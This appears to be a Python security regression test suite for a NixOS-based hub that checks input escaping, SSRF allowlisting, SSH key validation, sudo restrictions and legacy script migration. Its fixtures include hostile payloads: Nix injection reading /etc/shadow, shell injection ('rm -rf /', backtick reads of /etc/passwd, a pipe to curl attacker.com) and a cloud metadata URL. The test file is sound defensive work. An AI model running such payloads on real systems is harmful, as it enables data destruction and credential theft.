Fix 1: Update support.js to collect SSH public key and POST JSON Fix 2: Legacy njalla.sh migration - parse safely, archive non-executable, replace cron with systemd timer Fix 3: DDNS SSRF prevention - allowlist only njal.la, reject other hosts, disable curl redirects Fix 4: Legacy root support-key removal migration (_remove_legacy_root_support_key) Fix 5: Automatic support-key expiration (expires_at + _expire_support_if_stale) Fix 6: Move security helpers to security_helpers.py, tests import production code Fix 7: Real NIP-19/Bech32 npub validation (_bech32_decode + _validate_npub) Fix 8: Replace journalctl sudo wildcard with restricted sovran-journal-helper.py Also: Make _write_hub_overrides() atomic with tempfile+os.replace 94 tests passing Co-authored-by: naturallaw777 <99053422+naturallaw777@users.noreply.github.com>
684 lines
26 KiB
Python
684 lines
26 KiB
Python
"""Security regression tests for Sovran Hub security helpers.
|
|
|
|
Tests exercise the exact production implementations imported from
|
|
``app/sovran_systemsos_web/security_helpers.py`` — no helpers are
|
|
redefined here. Every test verifies the deployed code, not a copy.
|
|
|
|
Tests must never:
|
|
- reboot, rebuild, or alter real SSH keys
|
|
- access the network
|
|
- write to system paths
|
|
"""
|
|
|
|
import base64
|
|
import os
|
|
import sys
|
|
import unittest
|
|
|
|
# Add the app package to the path so we can import security_helpers directly
|
|
# without the full FastAPI dependency tree.
|
|
_REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
|
|
_APP_PARENT = os.path.join(_REPO_ROOT, "app")
|
|
if _APP_PARENT not in sys.path:
|
|
sys.path.insert(0, _APP_PARENT)
|
|
|
|
from sovran_systemsos_web.security_helpers import ( # noqa: E402
|
|
_nix_escape,
|
|
NPUB_RE,
|
|
_validate_npub,
|
|
_validate_ddns_url,
|
|
_validate_ssh_pubkey,
|
|
_DDNS_ALLOWED_HOSTNAMES,
|
|
_bech32_decode,
|
|
)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Nix string escaping
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestNixEscape(unittest.TestCase):
|
|
"""_nix_escape must prevent injection into Nix string literals."""
|
|
|
|
def test_double_quotes_escaped(self):
|
|
self.assertEqual(_nix_escape('"hello"'), '\\"hello\\"')
|
|
|
|
def test_backslash_escaped(self):
|
|
self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
|
|
|
|
def test_nix_interpolation_escaped(self):
|
|
result = _nix_escape("${pkgs.bash}")
|
|
self.assertIn("\\${", result)
|
|
self.assertFalse(result.startswith("${"))
|
|
|
|
def test_newline_escaped(self):
|
|
result = _nix_escape("foo\nbar")
|
|
self.assertNotIn("\n", result)
|
|
self.assertIn("\\n", result)
|
|
|
|
def test_carriage_return_escaped(self):
|
|
self.assertNotIn("\r", _nix_escape("foo\rbar"))
|
|
|
|
def test_tab_escaped(self):
|
|
self.assertNotIn("\t", _nix_escape("foo\tbar"))
|
|
|
|
def test_semicolons_unchanged(self):
|
|
self.assertEqual(_nix_escape("a;b"), "a;b")
|
|
|
|
def test_valid_timezone(self):
|
|
self.assertEqual(_nix_escape("Europe/London"), "Europe/London")
|
|
|
|
def test_injection_payload_quotes_and_interpolation(self):
|
|
payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
|
|
result = _nix_escape(payload)
|
|
import re as _re
|
|
self.assertIsNone(_re.search(r'(?<!\\)\$\{', result))
|
|
|
|
def test_npub_injection(self):
|
|
payload = 'npub1aaa"; extraUsers.evil.isNormalUser = true; #'
|
|
result = _nix_escape(payload)
|
|
self.assertNotIn('"', result.replace('\\"', ""))
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Nostr npub validation — regex pre-filter
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestNpubValidationRegex(unittest.TestCase):
|
|
"""NPUB_RE must accept valid npub shapes and reject injection payloads."""
|
|
|
|
# 58 bech32 chars after "npub1"
|
|
VALID_SHAPE = "npub1" + "q" * 58
|
|
|
|
def test_valid_shape_accepted(self):
|
|
self.assertIsNotNone(NPUB_RE.fullmatch(self.VALID_SHAPE))
|
|
|
|
def test_wrong_prefix_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch("nsec1" + "q" * 58))
|
|
|
|
def test_too_short_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 57))
|
|
|
|
def test_too_long_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
|
|
|
|
def test_uppercase_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "Q" * 58))
|
|
|
|
def test_injection_quote_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
|
|
|
|
def test_injection_interpolation_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "${" + "q" * 52))
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Nostr npub validation — real Bech32 checksum
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestNpubBech32Validation(unittest.TestCase):
|
|
"""_validate_npub must require a valid Bech32 checksum and 32-byte payload."""
|
|
|
|
# Known-valid npub (Nostr FAQ test vector — 32 zero bytes)
|
|
# npub1 + bech32(hrp="npub", payload=b'\x00'*32)
|
|
# The checksum is computed by the library; we hardcode a known-good one.
|
|
# To generate: python3 -c "from app.sovran_systemsos_web.security_helpers import *; ..."
|
|
# We use _bech32_decode to verify our test vector is valid.
|
|
def _make_valid_npub(self) -> str:
|
|
"""Build a valid npub from a 32-zero-byte payload using the production Bech32 encoder."""
|
|
# Import the production encoder — same module, ensures consistency
|
|
from sovran_systemsos_web.security_helpers import (
|
|
_bech32_polymod, _bech32_hrp_expand, _bech32_create_checksum,
|
|
_BECH32_CHARSET,
|
|
)
|
|
|
|
def _convertbits_encode(data: bytes) -> list:
|
|
acc, bits, ret = 0, 0, []
|
|
maxv = (1 << 5) - 1
|
|
for v in data:
|
|
acc = (acc << 8) | v
|
|
bits += 8
|
|
while bits >= 5:
|
|
bits -= 5
|
|
ret.append((acc >> bits) & maxv)
|
|
if bits:
|
|
ret.append((acc << (5 - bits)) & maxv)
|
|
return ret
|
|
|
|
hrp = "npub"
|
|
data = _convertbits_encode(b'\x00' * 32)
|
|
checksum = _bech32_create_checksum(hrp, data)
|
|
combined = data + checksum
|
|
return hrp + "1" + "".join(_BECH32_CHARSET[d] for d in combined)
|
|
|
|
def test_valid_npub_passes_bech32(self):
|
|
npub = self._make_valid_npub()
|
|
self.assertTrue(_validate_npub(npub), f"Expected valid npub to pass: {npub}")
|
|
|
|
def test_bech32_decode_returns_32_bytes(self):
|
|
npub = self._make_valid_npub()
|
|
result = _bech32_decode(npub)
|
|
self.assertIsNotNone(result)
|
|
hrp, payload = result
|
|
self.assertEqual(hrp, "npub")
|
|
self.assertEqual(len(payload), 32)
|
|
|
|
def test_corrupted_checksum_rejected(self):
|
|
npub = self._make_valid_npub()
|
|
# Flip the last character
|
|
last = npub[-1]
|
|
replacement = "q" if last != "q" else "p"
|
|
corrupted = npub[:-1] + replacement
|
|
self.assertFalse(_validate_npub(corrupted))
|
|
|
|
def test_mixed_case_rejected(self):
|
|
npub = self._make_valid_npub()
|
|
self.assertFalse(_validate_npub(npub.upper()))
|
|
self.assertFalse(_validate_npub(npub.capitalize()))
|
|
|
|
def test_wrong_hrp_rejected(self):
|
|
# lnurl1 with 32-byte payload would have wrong HRP
|
|
self.assertFalse(_validate_npub("nsec1" + "q" * 58))
|
|
|
|
def test_synthetic_all_q_rejected_by_checksum(self):
|
|
# "npub1" + "q"*58 passes the regex but likely fails the checksum
|
|
synthetic = "npub1" + "q" * 58
|
|
# The all-q string almost certainly has an invalid checksum
|
|
result = _bech32_decode(synthetic)
|
|
if result is not None:
|
|
hrp, payload = result
|
|
# If it somehow decodes, payload must be 32 bytes to be valid
|
|
if hrp == "npub" and len(payload) == 32:
|
|
self.assertTrue(_validate_npub(synthetic))
|
|
else:
|
|
self.assertFalse(_validate_npub(synthetic))
|
|
else:
|
|
self.assertFalse(_validate_npub(synthetic))
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# DDNS URL validation — SSRF prevention
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestDdnsUrlValidation(unittest.TestCase):
|
|
"""_validate_ddns_url must prevent SSRF and injection payloads."""
|
|
|
|
VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"
|
|
|
|
def test_valid_njalla_url_accepted(self):
|
|
self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
|
|
|
|
def test_www_njalla_accepted(self):
|
|
url = "https://www.njal.la/update/?h=test&k=TOKEN"
|
|
self.assertEqual(_validate_ddns_url(url), url)
|
|
|
|
def test_http_scheme_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("http://njal.la/update/?h=test&k=TOKEN")
|
|
|
|
def test_ftp_scheme_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("ftp://njal.la/update/?h=test&k=TOKEN")
|
|
|
|
def test_credentials_in_url_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("******njal.la/update/?k=TOKEN")
|
|
|
|
def test_fragment_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la/update/?k=TOKEN#fragment")
|
|
|
|
def test_raw_ip_host_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://1.2.3.4/update/?k=TOKEN")
|
|
|
|
def test_non_standard_port_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la:8443/update/?k=TOKEN")
|
|
|
|
def test_control_character_newline_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la/update/?k=TOKEN\nmalicious")
|
|
|
|
def test_control_character_null_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la/update/?k=TOKEN\x00evil")
|
|
|
|
def test_percent_encoded_null_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la/update/?k=TOKEN%00evil")
|
|
|
|
# ── SSRF allowlist tests ────────────────────────────────────────────────
|
|
|
|
def test_localhost_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://localhost/update/?k=TOKEN")
|
|
|
|
def test_127_0_0_1_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
|
|
|
|
def test_arbitrary_public_hostname_rejected(self):
|
|
"""Any hostname that is not njal.la must be rejected."""
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://evil.example.com/update/?k=TOKEN")
|
|
|
|
def test_attacker_host_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://attacker.invalid/update/?k=TOKEN")
|
|
|
|
def test_metadata_endpoint_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://169.254.169.254/latest/meta-data/")
|
|
|
|
def test_empty_url_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("")
|
|
|
|
def test_too_long_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la/?" + "x" * 2050)
|
|
|
|
def test_allowed_hostnames_set(self):
|
|
self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
|
self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# SSH public-key validation
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestSshPubkeyValidation(unittest.TestCase):
|
|
"""_validate_ssh_pubkey must accept valid keys and reject injections."""
|
|
|
|
_PAYLOAD = base64.b64encode(b"\x00" * 64).decode()
|
|
VALID_KEY = f"ssh-ed25519 {_PAYLOAD} user@host"
|
|
|
|
def test_valid_ed25519_accepted(self):
|
|
self.assertEqual(_validate_ssh_pubkey(self.VALID_KEY), self.VALID_KEY)
|
|
|
|
def test_unsupported_algorithm_rsa_rejected(self):
|
|
payload = base64.b64encode(b"\x00" * 40).decode()
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey(f"ssh-rsa {payload} user@host")
|
|
|
|
def test_dss_algorithm_rejected(self):
|
|
payload = base64.b64encode(b"\x00" * 40).decode()
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey(f"ssh-dss {payload} user@host")
|
|
|
|
def test_multiline_injection_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey(f"{self.VALID_KEY}\nssh-ed25519 AAAA second-key")
|
|
|
|
def test_options_prefix_not_accepted(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey(f'command="evil" {self.VALID_KEY}')
|
|
|
|
def test_empty_key_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey("")
|
|
|
|
def test_control_character_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey(f"ssh-ed25519 {self._PAYLOAD}\x00 user@host")
|
|
|
|
def test_malformed_base64_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey("ssh-ed25519 NOT!VALID!BASE64 user@host")
|
|
|
|
def test_too_short_payload_rejected(self):
|
|
short = base64.b64encode(b"\x00" * 5).decode()
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey(f"ssh-ed25519 {short} user@host")
|
|
|
|
def test_missing_key_body_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey("ssh-ed25519")
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Auth-exempt path enforcement
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestAuthExemptPaths(unittest.TestCase):
|
|
"""/api/reboot and status endpoints must not be in the auth-exempt set."""
|
|
|
|
def _get_exempt_paths(self):
|
|
import re
|
|
src = open(
|
|
os.path.join(_REPO_ROOT, "app", "sovran_systemsos_web", "server.py")
|
|
).read()
|
|
m = re.search(r"_AUTH_EXEMPT_PATHS\s*=\s*\{([^}]*)\}", src)
|
|
self.assertIsNotNone(m, "_AUTH_EXEMPT_PATHS not found in server.py")
|
|
return {p.strip().strip('"') for p in m.group(1).split(",") if p.strip().strip('"')}
|
|
|
|
def test_reboot_not_exempt(self):
|
|
self.assertNotIn("/api/reboot", self._get_exempt_paths())
|
|
|
|
def test_updates_status_not_exempt(self):
|
|
self.assertNotIn("/api/updates/status", self._get_exempt_paths())
|
|
|
|
def test_rebuild_status_not_exempt(self):
|
|
self.assertNotIn("/api/rebuild/status", self._get_exempt_paths())
|
|
|
|
def test_login_still_exempt(self):
|
|
self.assertIn("/api/login", self._get_exempt_paths())
|
|
|
|
def test_ping_still_exempt(self):
|
|
self.assertIn("/api/ping", self._get_exempt_paths())
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# tech-support.nix validation
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestTechSupportSudoRules(unittest.TestCase):
|
|
"""tech-support.nix must not grant broad privileges."""
|
|
|
|
def _get_nix_content(self):
|
|
path = os.path.join(_REPO_ROOT, "modules", "core", "tech-support.nix")
|
|
with open(path) as f:
|
|
return f.read()
|
|
|
|
def test_no_nano_custom_nix(self):
|
|
self.assertNotIn("nano /etc/nixos/custom.nix", self._get_nix_content())
|
|
|
|
def test_no_nano_configuration_nix(self):
|
|
self.assertNotIn("nano /etc/nixos/configuration.nix", self._get_nix_content())
|
|
|
|
def test_no_unrestricted_nixos_rebuild(self):
|
|
self.assertNotIn("nixos-rebuild switch", self._get_nix_content())
|
|
|
|
def test_no_wildcard_systemctl_restart(self):
|
|
self.assertNotIn("systemctl restart *", self._get_nix_content())
|
|
|
|
def test_journalctl_wildcard_removed(self):
|
|
"""The bare 'journalctl *' sudo rule must be gone."""
|
|
content = self._get_nix_content()
|
|
self.assertNotIn('"/run/current-system/sw/bin/journalctl *"', content)
|
|
self.assertNotIn("journalctl *", content.replace("journal-helper", ""))
|
|
|
|
def test_journal_helper_referenced(self):
|
|
"""The restricted journal helper must be referenced instead."""
|
|
content = self._get_nix_content()
|
|
self.assertIn("sovran-journal-helper", content)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Journal helper validation
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestJournalHelper(unittest.TestCase):
|
|
"""The restricted journal helper must reject dangerous flags."""
|
|
|
|
def _run_helper(self, args):
|
|
"""Run the helper script and return (returncode, stderr)."""
|
|
import subprocess
|
|
helper = os.path.join(_REPO_ROOT, "modules", "core", "sovran-journal-helper.py")
|
|
result = subprocess.run(
|
|
[sys.executable, helper] + args,
|
|
capture_output=True, text=True,
|
|
)
|
|
return result.returncode, result.stderr
|
|
|
|
def test_valid_unit_flag_accepted(self):
|
|
# The helper will fail to actually run journalctl (not installed),
|
|
# but it must not reject the flag itself before calling journalctl.
|
|
rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
|
|
# If journalctl is not installed, rc != 0 but stderr from helper is about journalctl
|
|
# If journalctl IS installed, it runs successfully (rc=0 or journalctl error)
|
|
# What we check is that the helper itself did NOT print "rejected"
|
|
self.assertNotIn("rejected", stderr)
|
|
self.assertNotIn("sovran-journal-helper: rejected", stderr)
|
|
|
|
def test_directory_flag_rejected(self):
|
|
rc, stderr = self._run_helper(["--directory", "/var/log"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_arbitrary_path_rejected(self):
|
|
rc, stderr = self._run_helper(["/etc/passwd"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_file_flag_rejected(self):
|
|
rc, stderr = self._run_helper(["--file", "/var/log/journal/foo"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_no_args_rejected(self):
|
|
rc, stderr = self._run_helper([])
|
|
self.assertNotEqual(rc, 0)
|
|
|
|
def test_lines_flag_accepted(self):
|
|
rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"])
|
|
self.assertNotIn("rejected", stderr)
|
|
|
|
def test_lines_too_large_rejected(self):
|
|
rc, stderr = self._run_helper(["--lines", "99999"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_negative_lines_rejected(self):
|
|
rc, stderr = self._run_helper(["--lines", "-1"])
|
|
self.assertNotEqual(rc, 0)
|
|
|
|
def test_since_with_valid_date_accepted(self):
|
|
rc, stderr = self._run_helper(["--unit", "caddy.service", "--since", "2024-01-01"])
|
|
self.assertNotIn("rejected", stderr)
|
|
|
|
def test_since_with_path_rejected(self):
|
|
rc, stderr = self._run_helper(["--since", "/etc/passwd"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_output_short_accepted(self):
|
|
rc, stderr = self._run_helper(["--unit", "caddy.service", "--output", "short"])
|
|
self.assertNotIn("rejected", stderr)
|
|
|
|
def test_output_arbitrary_rejected(self):
|
|
rc, stderr = self._run_helper(["--output", "export --to /tmp/out"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_invalid_unit_name_rejected(self):
|
|
# Unit names with directory traversal or invalid chars
|
|
rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_unit_without_suffix_rejected(self):
|
|
rc, stderr = self._run_helper(["--unit", "caddy"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Legacy njalla migration safety
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestNjallaLegacyMigration(unittest.TestCase):
|
|
"""_migrate_legacy_njalla_script must not execute or preserve malicious content."""
|
|
|
|
def _run_migration(self, script_content: str) -> list[str]:
|
|
"""Run the migration against a temp file and return extracted URLs."""
|
|
import json
|
|
import tempfile
|
|
import sys
|
|
|
|
# We can't import server.py but we can replicate the migration logic
|
|
# using security_helpers for validation.
|
|
import re
|
|
from sovran_systemsos_web.security_helpers import _validate_ddns_url
|
|
|
|
LEGACY_CURL_RE = re.compile(
|
|
r'^curl\s+(?:--silent\s+)?(?:--max-time\s+\d+\s+)?(?:--fail\s+)?'
|
|
r'(https://(?:www\.)?njal\.la/(?:[^\s;|`$\x00-\x1f]|\$\{IP\})+)$'
|
|
)
|
|
|
|
extracted: list[str] = []
|
|
for raw_line in script_content.splitlines():
|
|
line = raw_line.strip()
|
|
if not line or line.startswith("#") or line.startswith("IP=") or line.startswith("#!/"):
|
|
continue
|
|
m = LEGACY_CURL_RE.match(line)
|
|
if not m:
|
|
continue
|
|
raw_url = m.group(1)
|
|
url_to_validate = raw_url.replace("${IP}", "127.0.0.1")
|
|
try:
|
|
_validate_ddns_url(url_to_validate)
|
|
extracted.append(raw_url)
|
|
except ValueError:
|
|
pass
|
|
return extracted
|
|
|
|
def test_valid_curl_line_extracted(self):
|
|
script = (
|
|
"#!/usr/bin/env bash\n"
|
|
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n"
|
|
"curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n"
|
|
)
|
|
urls = self._run_migration(script)
|
|
self.assertEqual(len(urls), 1)
|
|
self.assertIn("njal.la", urls[0])
|
|
|
|
def test_command_injection_not_extracted(self):
|
|
script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n"
|
|
urls = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_backtick_injection_not_extracted(self):
|
|
script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n"
|
|
urls = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_pipe_injection_not_extracted(self):
|
|
script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n"
|
|
urls = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_dollar_injection_not_extracted(self):
|
|
script = "curl https://njal.la/update/?k=$(evil_command)\n"
|
|
urls = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_non_njalla_url_not_extracted(self):
|
|
script = "curl https://attacker.example.com/update/?k=TOKEN\n"
|
|
urls = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_http_url_not_extracted(self):
|
|
script = "curl http://njal.la/update/?k=TOKEN\n"
|
|
urls = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Legacy root key removal
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestLegacyRootKeyRemoval(unittest.TestCase):
|
|
"""_remove_legacy_root_support_key must remove only the legacy key."""
|
|
|
|
def _simulate_removal(self, lines: list[str]) -> list[str]:
|
|
"""Simulate the key-removal logic without touching real files."""
|
|
COMMENT = "sovransystemsos-support"
|
|
kept = []
|
|
for line in lines:
|
|
stripped = line.rstrip("\n")
|
|
parts = stripped.split()
|
|
if len(parts) >= 3 and parts[2] == COMMENT:
|
|
pass # remove
|
|
else:
|
|
kept.append(line)
|
|
return kept
|
|
|
|
def test_legacy_key_removed(self):
|
|
lines = [
|
|
"ssh-ed25519 AAAA admin@host\n",
|
|
"ssh-ed25519 BBBB sovransystemsos-support\n",
|
|
"ssh-ed25519 CCCC another@host\n",
|
|
]
|
|
result = self._simulate_removal(lines)
|
|
self.assertEqual(len(result), 2)
|
|
contents = "".join(result)
|
|
self.assertNotIn("sovransystemsos-support", contents)
|
|
self.assertIn("admin@host", contents)
|
|
self.assertIn("another@host", contents)
|
|
|
|
def test_unrelated_keys_preserved(self):
|
|
lines = [
|
|
"ssh-ed25519 AAAA admin@host\n",
|
|
"ssh-ed25519 CCCC another@host\n",
|
|
]
|
|
result = self._simulate_removal(lines)
|
|
self.assertEqual(result, lines)
|
|
|
|
def test_empty_file_unchanged(self):
|
|
self.assertEqual(self._simulate_removal([]), [])
|
|
|
|
def test_comment_line_preserved(self):
|
|
lines = [
|
|
"# authorized keys\n",
|
|
"ssh-ed25519 AAAA admin@host\n",
|
|
]
|
|
result = self._simulate_removal(lines)
|
|
self.assertEqual(result, lines)
|
|
|
|
def test_multiple_legacy_keys_all_removed(self):
|
|
lines = [
|
|
"ssh-ed25519 AAAA sovransystemsos-support\n",
|
|
"ssh-ed25519 BBBB sovransystemsos-support\n",
|
|
"ssh-ed25519 CCCC admin@host\n",
|
|
]
|
|
result = self._simulate_removal(lines)
|
|
self.assertEqual(len(result), 1)
|
|
self.assertIn("admin@host", "".join(result))
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Support session expiration
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestSupportSessionExpiration(unittest.TestCase):
|
|
"""Support session expiry logic must respect expires_at."""
|
|
|
|
def _is_expired(self, session_info: dict) -> bool:
|
|
"""Replicate the expiry check from _expire_support_if_stale."""
|
|
import time
|
|
expires_at = session_info.get("expires_at")
|
|
if expires_at is None:
|
|
enabled_at = session_info.get("enabled_at", 0)
|
|
return bool(enabled_at and (time.time() - enabled_at) > 86400)
|
|
return time.time() >= expires_at
|
|
|
|
def test_future_expiry_not_expired(self):
|
|
import time
|
|
info = {"expires_at": time.time() + 3600}
|
|
self.assertFalse(self._is_expired(info))
|
|
|
|
def test_past_expiry_expired(self):
|
|
import time
|
|
info = {"expires_at": time.time() - 1}
|
|
self.assertTrue(self._is_expired(info))
|
|
|
|
def test_no_expiry_recent_session_not_expired(self):
|
|
import time
|
|
info = {"enabled_at": time.time() - 100}
|
|
self.assertFalse(self._is_expired(info))
|
|
|
|
def test_no_expiry_old_session_expired(self):
|
|
import time
|
|
info = {"enabled_at": time.time() - 86401}
|
|
self.assertTrue(self._is_expired(info))
|
|
|
|
def test_zero_enabled_at_not_expired(self):
|
|
info = {"enabled_at": 0}
|
|
self.assertFalse(self._is_expired(info))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
unittest.main()
|